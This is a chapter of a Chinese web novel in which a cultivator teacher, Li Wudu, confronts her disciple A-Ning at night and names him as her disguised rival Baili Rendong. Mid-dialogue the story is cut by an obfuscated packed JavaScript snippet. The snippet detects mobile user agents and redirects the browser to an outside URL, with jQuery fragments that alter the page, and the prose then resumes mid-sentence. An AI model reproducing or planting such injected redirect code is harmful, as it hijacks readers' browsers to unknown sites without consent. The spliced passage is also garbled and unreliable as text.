268. 戳穿

作品:《重生成死对头的师尊后

    阿宁垂着头站在队列末尾,身姿恭顺,眉眼低敛,和往日那个沉默谨慎的模样分毫不差。甚至还轻轻抿了抿唇,露出几分局促的神色,像是在担心自己方才练剑不够标准,学得不够快。


    然而这副模样落在厉无渡眼里,只让她觉得好笑。


    多有趣啊。


    前世的一代剑君,今世的剑宗峰主,眼下就这么安安静静地站在人群里,用最不起眼的身份,最无害的表情瞒过了所有人。


    厉无渡本来还以为自己隐于凡间的伪装十分完美,可跟百里忍冬一比,竟显得粗糙了。


    她目光在阿宁身上停了一瞬,时间很短,短到无人能察觉到她这一刻的注视。


    虽然她早就猜测阿宁有问题,可当他真的露出破绽时,厉无渡还是瞬间感到了心底如铅块般的坠沉。


    亦又像是被人硬生生往喉咙里塞了一块冰冷的巨石,它一路沉入胃里,冰凉噎人,噎得厉无渡心烦意乱。


    但此时周遭还有其他凡人,厉无渡移开视线,同时将那股翻涌的沉闷与寒意强行按了下去。


    不能现在就揭穿他。


    她维持着平淡的神情,目光淡淡扫过全场其他弟子,声音平稳得听不出半分异样,只是略微低了些许,带着一丝不易察觉的沉哑:“既然都练完了,那今日的课就上到这里,散了吧。”


    弟子们应声散去。


    演武场很快恢复了往日的嘈杂与松弛,收剑声、说笑声、脚步声渐渐远去。阿宁跟着人群,动作规矩地将木剑归位,表现得一切如常。


    厉无渡也装出一副什么都没有察觉的模样。


    她照常授课,照常用膳,照常回院调息,阿宁照旧替她收拾院落、照料起居。


    两人一如之前的很多个日夜那样。


    但当夜深人静之时,厉无渡却没有如往常一样,在自己房中调息。


    ……


    弟子寮舍内一排排屋舍相连,每一间都已熄了灯火。此刻整片院落静悄悄的,只有风掠过瓦檐和树梢时带起的轻微响动。


    厉无渡立在屋外回廊的暗影里,没有遮掩身形,可即便这里还有其他人,即便就站在她身边,也决计无法察觉到她的存在,只有修为高于她,才能捕捉到她的存在。


    不过厉无渡如今已是天下唯一一个九转境,这小小的东平城内,除了她和潜藏的百里忍冬,估计找不出第三个修士来。而唯二之一的百里忍冬这一世修为又不如她,所以,她有自信自己不会被任何人发现。


    如此一来,她就能在某人悄悄使用修士手段试图离开武馆时,抓他个现形。


    厉无渡沉心等着。


    夜色渐深,更鼓远远传来。


    ——子时已至。


    可面前的屋舍依旧静悄悄的,不见任何人出来,也未曾传出一丝异动。


    “难道说是我猜错了?”


    厉无渡眉头微皱,随即放出了神识,一瞬间便将阿宁房内的情形扫得一清二楚——


    空的?


    等等,什么时候空的???


    厉无渡从一开始便十分沉凝的表情不复存在,变成了意外和疑惑。


    她原本笃定,阿宁就是百里忍冬所伪装的,而为了掩人耳目,未到真正深夜时分,他不会离开。


    她到这里暗中盯梢时不过戌时,现在刚过子初,期间厉无渡并未看到任何人离开,而且以百里忍冬现在的修为,理论上也绝无可能在她眼皮子底下瞒天过海。


    按理说,他该还在屋内,厉无渡只需守在门外,等他子时出门,或遁形,便能当场堵住人,抓住他的马脚,戳穿他的身份。


    疑惑之间,厉无渡忍不住迈出半步,下意识想要推门进去再确认一遍。


    就在这时——


    一缕温热气息猝然拂过耳廓,伴随着衣袂间轻轻摩擦的声响。


    少年低哑的嗓音贴着耳畔漫开,轻软、亲昵,尾端还裹着一丝若有若无的笑意。


    “师尊是在找我吗?”


    气流擦着耳后肌肤落下,说话人似乎就贴在她身后,唇瓣几乎要触到她侧颈。


    厉无渡瞳孔骤然一缩,后背本能地炸起一片鸡皮疙瘩。


    她方才竟半点都未察觉此人的存在,更不要说是靠近!


    周身气机在刹那间绷作满弦之弓,厉无渡霍然回头——


    阿宁就站在她身后,却是在一尺之外,并未像厉无渡想象中那样贴得极近。


    披着月光的少年面色莹白,一双漆黑的眼直勾勾望过来,不过似是察觉到她骤然紧绷的气息,下一瞬,他便恰到好处地露出几分疑惑和茫然的神色,又问了一遍:“教习……是来找我的吗?”


    此刻他的表情和语气都透着温顺的乖巧,和刚才厉无渡听见的那句截然不同。


    若非她心底早有怀疑,恐怕都会以为刚才是自己听错了。


    厉无渡盯着他,目光深深。


    阿宁微微歪头,像是不解她为何这样看自己。


    “教习?”他轻声问。


    厉无渡看了他很久,忽然轻轻笑了一下。


    “能做到隐匿气机。”


    她缓缓开口。


    “出入无痕。”


    她向前一步,视线直锁他的眼。


    “连我都察觉不到。”


    她一字一顿:


    “阿宁,我可不记得,我有教过你这样高明的本事。”


    话音落下,空气瞬间安静得像被冻结成冰。淡薄月色如碎银般泼洒在回廊青石板上,映出两人交叠又疏离的剪影。


    阿宁的睫毛轻轻颤了一下,默不作声,像是被她咄咄逼人的态度给弄懵了,不知该如何作答。


    但是厉无渡已经不会再被他这副模样给骗过去。


    “你去哪了?”她问。


    声音很平,很轻,不带半分质问的锋芒,亦无丝毫怒意翻涌,倒真像是寻常夜半撞见弟子时随口一问。


    阿宁闻言,漆黑眸子里先漫开一层懵懂茫然,睫毛如蝶翼般轻轻颤了颤,那份无措,像极了平日里被馆主和教习突然点名的样子。


    “我?”他迟疑着开口,带着几分怯生生的不确定,指尖下意识微微蜷起,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167194|158912||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    攥住了衣摆边角,尽显少年人的局促。


    “弟子之前一直都在房内打坐调息,方才是……”他脸色一红,“是起夜方便去了……不知教习深夜至此,可是有什么吩咐?”


    他抬眼望她,眼底干净澄澈,全然是一副随时听命、恭顺乖巧的弟子模样。


    厉无渡却轻笑一声,反问道:“是么?那方才,你回来看见我时,唤我什么?”


    阿宁眨了眨眼,眸子里的茫然更甚,像是完全没听懂她的话。“什么?”


    “你刚才,”厉无渡一字一顿,语气笃定,目光如寒刃直抵他眼底,“叫我师尊。”


    话音落下的瞬间,廊间的空气愈发凝滞,夜风似是凝固在原地,连远处的虫鸣都悄然消弭,只剩两人之间隐约牵系的无形之物,在暗夜里缓缓翻涌。


    阿宁身子微微一僵,随即睁大眼睛——先是愣神,继而困惑,最后眼底浮起几分无措的惶恐,像是听到了什么匪夷所思的话。


    “师尊?”他轻声重复这两个字,眉头缓缓蹙起,眉心拧出一道浅淡褶皱,语气里满是不解与不安,“教习……您是不是听错了?”


    他往后微退小半步,双手下意识交握在身前,姿态愈发恭谨,带着十足的小心翼翼:“弟子只是武馆的寻常弟子,资质平庸,从不敢奢望您能收我为徒,平日里只敢恭恭敬敬唤您教习,断断不敢如此僭越称呼……我怎么会,叫您师尊呢?”


    厉无渡没说话,只是静静盯着他,像是要用视线穿透这副温顺的皮囊,将他从皮肉到骨骼,再到最深处的神魂,一寸寸翻出来审视。


    神识早已再度铺开,将少年周身三尺裹得密不透风,可厉无渡依旧没探到半分修士气机。他的伪装十分完美,完美得像个真正的凡人,可这份完美,本就是最大的破绽。


    阿宁被她看得浑身不自在,后退的动作顿在原地,又强自稳住身形,生怕显得失礼,垂在身侧的手攥得更紧,眼底的无措愈发浓重,声音都带上了几分委屈的颤意:“教习……是不是弟子哪里做得不好,惹您生气了?若是弟子有过失,您尽管责罚,弟子绝无半句怨言。”


    他低着头,眉眼低敛,活脱脱一个恭顺怯懦、生怕犯错的少年。


    面对着这乍一看十足十的小可怜,厉无渡却心硬似铁。只见她忽然向前一步,逼视着阿宁,缓缓开口道:


    “百、里、忍、冬。”


    没有试探,没有疑问,她平静地唤出了这个名字,可这短短四个字就像一把出鞘的利剑,直接戳破了最后一层伪装。


    衣角扫过青石板,带起一缕极淡的冷风,两人之间的距离瞬间被拉近,近得几乎鼻尖相抵。阿宁看着面前的女子微微俯身,刻意放低身形,让目光与他齐平,那双深不见底的眸子里淬着寒芒,直直射入他眼底,一字一句,全都带着不容置喙的笃定。


    ——被将军了。


    阿宁瞳孔微微一缩,电光石火间几乎无人能察觉。


    然而他这细微的破绽却被厉无渡尽收眼底。


    她勾起唇角,乘胜追击:“你装得很好,只可惜——”